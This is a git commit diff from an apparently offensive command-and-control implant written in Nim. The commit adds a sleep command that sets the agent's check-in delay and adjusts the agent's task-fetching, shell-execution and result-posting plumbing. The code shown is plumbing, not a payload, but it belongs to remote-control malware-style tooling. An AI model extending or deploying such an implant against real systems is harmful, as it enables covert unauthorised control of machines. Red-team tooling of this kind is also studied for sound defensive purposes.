Implemented sleep command to update sleep delay on agent
This commit is contained in:
@@ -26,7 +26,7 @@ proc main() =
|
||||
echo "Missing agent configuration."
|
||||
quit(0)
|
||||
|
||||
let config = AgentConfig(
|
||||
var config = AgentConfig(
|
||||
listener: ListenerUuid,
|
||||
ip: ListenerIp,
|
||||
port: ListenerPort,
|
||||
@@ -60,7 +60,7 @@ proc main() =
|
||||
|
||||
# Execute all retrieved tasks and return their output to the server
|
||||
for task in tasks:
|
||||
let result = task.handleTask()
|
||||
let result = task.handleTask(config)
|
||||
discard config.postResults(agent, result)
|
||||
|
||||
when isMainModule:
|
||||
|
||||
@@ -1,3 +1,3 @@
|
||||
import ./[shell]
|
||||
import ./[shell, sleep]
|
||||
|
||||
export shell
|
||||
export shell, sleep
|
||||
14
agents/monarch/commands/sleep.nim
Normal file
14
agents/monarch/commands/sleep.nim
Normal file
@@ -0,0 +1,14 @@
|
||||
import os, strutils, strformat
|
||||
|
||||
import ../types
|
||||
|
||||
proc taskSleep*(delay: int): tuple[output: TaskResult, status: TaskStatus] =
|
||||
|
||||
echo fmt"Sleeping for {$delay} seconds."
|
||||
|
||||
try:
|
||||
sleep(delay * 1000)
|
||||
return ("\n", Completed)
|
||||
|
||||
except CatchableError as err:
|
||||
return (fmt"An error occured: {err.msg}" & "\n", Failed)
|
||||
@@ -43,6 +43,7 @@ proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [getTasks]:", err.msg
|
||||
return false
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
@@ -65,6 +66,7 @@ proc postResults*(config: AgentConfig, agent: string, task: Task): bool =
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [postResults]: ", err.msg
|
||||
return false
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
|
||||
@@ -1,11 +1,12 @@
|
||||
import base64
|
||||
import base64, strutils
|
||||
import ./types
|
||||
import ./commands/commands
|
||||
|
||||
proc handleTask*(task: Task): Task =
|
||||
proc handleTask*(task: Task, config: AgentConfig): Task =
|
||||
|
||||
# Handle task command
|
||||
case task.command:
|
||||
|
||||
of ExecuteShell:
|
||||
|
||||
let (output, status) = taskShell(task.args)
|
||||
@@ -20,6 +21,27 @@ proc handleTask*(task: Task): Task =
|
||||
status: status
|
||||
)
|
||||
|
||||
of Sleep:
|
||||
# Parse arguments
|
||||
let delay: int = parseInt(task.args[0])
|
||||
|
||||
# Execute task
|
||||
let (output, status) = taskSleep(delay)
|
||||
|
||||
# Update sleep delay in agent config
|
||||
if status == Completed:
|
||||
config.sleep = delay
|
||||
|
||||
# Return result
|
||||
return Task(
|
||||
id: task.id,
|
||||
agent: task.agent,
|
||||
command: task.command,
|
||||
args: task.args,
|
||||
result: encode(output),
|
||||
status: status
|
||||
)
|
||||
|
||||
else:
|
||||
echo "Not implemented"
|
||||
return nil
|
||||
|
||||
@@ -1,28 +1,6 @@
|
||||
import winim
|
||||
|
||||
type
|
||||
TaskCommand* = enum
|
||||
ExecuteShell = "shell"
|
||||
ExecuteBof = "bof"
|
||||
ExecuteAssembly = "dotnet"
|
||||
ExecutePe = "pe"
|
||||
|
||||
TaskStatus* = enum
|
||||
Created = "created"
|
||||
Completed = "completed"
|
||||
Pending = "pending"
|
||||
Failed = "failed"
|
||||
Cancelled = "cancelled"
|
||||
|
||||
TaskResult* = string
|
||||
|
||||
Task* = ref object
|
||||
id*: string
|
||||
agent*: string
|
||||
command*: TaskCommand
|
||||
args*: seq[string]
|
||||
result*: TaskResult
|
||||
status*: TaskStatus
|
||||
import ../../server/types
|
||||
export Task, TaskCommand, TaskResult, TaskStatus
|
||||
|
||||
type
|
||||
ProductType* = enum
|
||||
@@ -47,7 +25,7 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} =
|
||||
wReserved*: UCHAR
|
||||
|
||||
type
|
||||
AgentConfig* = object
|
||||
AgentConfig* = ref object
|
||||
listener*: string
|
||||
ip*: string
|
||||
port*: int
|
||||
|
||||
Reference in New Issue
Block a user